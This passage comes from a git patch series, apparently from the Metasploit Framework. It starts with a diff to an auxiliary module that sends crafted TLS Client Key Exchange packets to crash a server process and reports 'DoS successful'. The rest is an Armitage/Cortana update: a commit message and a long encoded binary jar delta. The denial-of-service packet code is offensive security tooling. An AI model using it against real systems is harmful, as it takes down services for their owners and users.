"\x01\x16\x03\x02\x00\x40\xff\x62\x0f\x7a\xb2\x79\xfe\x78\xce\xb9"<< - "\xde\xc4\xef\x66\x2f\xed\x1a\x37\xfe\x47\xdd\xde\x9c\xe0\x42\xbc"<< - "\x93\x20\x65\x05\xd3\x50\x14\x1c\x6c\xb1\x7a\x3a\x7d\x91\x92\xbb"<< - "\x9d\x42\x78\xbf\xe4\x08\xa0\xfd\x9c\xeb\x24\x29\x3b\xed\xc8\x54"<< - "\x3d\xd3\xa2\xff\xb0\x8b" + p2_dhe = "\x16" # Content Type: Handshake + p2_dhe << "\x03\x02" # Version: TLS 1.1 + p2_dhe << "\x00\x46" # Length: 70 + p2_dhe << "\x10" # Handshake Type: Client Key Exchange + p2_dhe << "\x00\x00\x42" # Length: 66 + p2_dhe << "\x00\x40" # DH Pubkey Length: 64 + p2_dhe << ("A" * 64) # DH Pubkey + p2_dhe << p2_cssm # Change Cipher Spec Message + p2_dhe << p2_ehm # Encrypted Handshake Message + # ECDHE-RSA-AES128-SHA - p2_ecdhe_rsa_aes128_sha = - "\x16\x03\x02\x00\x46\x10\x00\x00\x42\x41\x04\x2f\x22\xf4\x06\x3f"<< - "\xa1\xf7\x3d\xb6\x55\xbc\x68\x65\x57\xd8\x03\xe5\xaa\x36\xeb\x0f"<< - "\x52\x5a\xaf\xd0\x9f\xf8\xc7\xfe\x09\x69\x5b\x38\x95\x58\xb6\x0d"<< - "\x27\x53\xe9\x63\xcb\x96\xb3\x54\x47\xa6\xb2\xe6\x8b\x2a\xd9\x03"<< - "\xb4\x85\x46\xd9\x1c\x5f\xd1\xf7\x7b\x73\x40\x14\x03\x02\x00\x01"<< - "\x01\x16\x03\x02\x00\x40\x8c\xc6\x4d\xdc\x42\x03\x64\xa3\xc0\xf4"<< - "\x94\xda\xa4\x12\x68\x78\xfd\x5b\x44\xaf\xa3\x91\x63\x75\x26\x93"<< - "\x14\xad\x86\xa7\x4f\x5a\x2e\xcb\x13\x17\xb7\xdf\x67\x64\x1b\x10"<< - "\xc3\x9f\x68\xaf\x92\x38\xbf\x67\xc6\x18\x5b\x78\xc9\x99\xc3\x70"<< - "\x89\x09\xe2\x3f\x3e\x1f" + p2_ecdhe = "\x16" # Content Type: Handshake + p2_ecdhe << "\x03\x02" # Version: TLS 1.1 + p2_ecdhe << "\x00\x46" # Length: 70 + p2_ecdhe << "\x10" # Handshake Type: Client Key Exchange + p2_ecdhe << "\x00\x00\x42" # Length: 66 + p2_ecdhe << "\x41" # EC DH Pubkey Length: 65 + # EC DH Pubkey: + p2_ecdhe << "\x04\x2f\x22\xf4\x06\x3f\xa1\xf7\x3d\xb6\x55\xbc\x68\x65\x57\xd8" + p2_ecdhe << "\x03\xe5\xaa\x36\xeb\x0f\x52\x5a\xaf\xd0\x9f\xf8\xc7\xfe\x09\x69" + p2_ecdhe << "\x5b\x38\x95\x58\xb6\x0d\x27\x53\xe9\x63\xcb\x96\xb3\x54\x47\xa6" + p2_ecdhe << "\xb2\xe6\x8b\x2a\xd9\x03\xb4\x85\x46\xd9\x1c\x5f\xd1\xf7\x7b\x73" + p2_ecdhe << "\x40" + p2_ecdhe << p2_cssm # Change Cipher Spec Message + p2_ecdhe << p2_ehm # Encrypted Handshake Message + maxtries = datastore['MAX_TRIES'] @@ -112,9 +143,9 @@ class Metasploit4 < Msf::Auxiliary cs = get_cipher_suite(resp) if cs == 0xc013 # ECDHE-RSA-AES128-SHA - p2 = p2_ecdhe_rsa_aes128_sha + p2 = p2_ecdhe elsif cs == 0x0039 # DHE-RSA-AES256-SHA - p2 = p2_dhe_rsa_aes256_sha + p2 = p2_dhe elsif cs == 0x0035 # AES256-SHA p2 = p2_aes_sha else @@ -126,17 +157,16 @@ class Metasploit4 < Msf::Auxiliary alert = nil - timeout(2) do - alert = sock.recv(4096) - end - - disconnect - - if alert == '' + begin + alert = sock.get_once(-1, 2) + rescue EOFError print_status("DoS successful. process on #{rhost} did not respond.") success = true break end + + disconnect + end if success == false @@ -157,7 +187,7 @@ class Metasploit4 < Msf::Auxiliary len = (resp[offset+3, 2]).unpack("n")[0] hstype = (resp[offset+5, 1]).unpack("C")[0] - if hstype == 2 + if hstype == 2 # Server Hello return (resp[offset+44, 2]).unpack("n")[0] end From 59d2f05c94dbc92d55cc780d5264e42ef831a5fe Mon Sep 17 00:00:00 2001 From: Raphael Mudge Date: Mon, 4 Mar 2013 18:32:45 -0500 Subject: [PATCH 418/448] Armitage 04.06.13 This update to Armitage improves its responsiveness when connected to a team server over a high latency network. This update also adds a publish/query/subscribe API to Cortana. --- data/armitage/armitage.jar | Bin 3213215 -> 3220970 bytes data/armitage/cortana.jar | Bin 3213210 -> 3220965 bytes data/armitage/whatsnew.txt | 24 +++++ external/source/armitage/resources/about.html | 2 +- .../armitage/scripts-cortana/internal-ui.sl | 25 ++++-- .../armitage/scripts-cortana/internal.sl | 35 +++++++- external/source/armitage/scripts/armitage.sl | 16 +++- .../source/armitage/scripts/preferences.sl | 14 ++- external/source/armitage/scripts/shell.sl | 2 +- external/source/armitage/scripts/util.sl | 4 +- .../armitage/src/armitage/ConsoleClient.java | 25 +++--- .../armitage/src/cortana/data/Sessions.java | 12 +-- .../armitage/src/cortana/gui/UIBridge.java | 15 ++-- .../src/cortana/metasploit/ShellSession.java | 4 +- .../armitage/src/msf/MeterpreterSession.java | 2 +- .../armitage/src/msf/RpcConnectionImpl.java | 34 +++++++ external/source/armitage/src/ui/ATable.java | 83 +++++++++++++++++- .../source/armitage/src/ui/MultiFrame.java | 9 ++ external/source/armitage/whatsnew.txt | 24 +++++ 19 files changed, 288 insertions(+), 42 deletions(-) diff --git a/data/armitage/armitage.jar b/data/armitage/armitage.jar index 81c949a109ac3c80b8d548f63b2d1a95ddbb839e..b4ee0c001f7c23728810224e7bb7658d74357b72 100755 GIT binary patch delta 89157 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 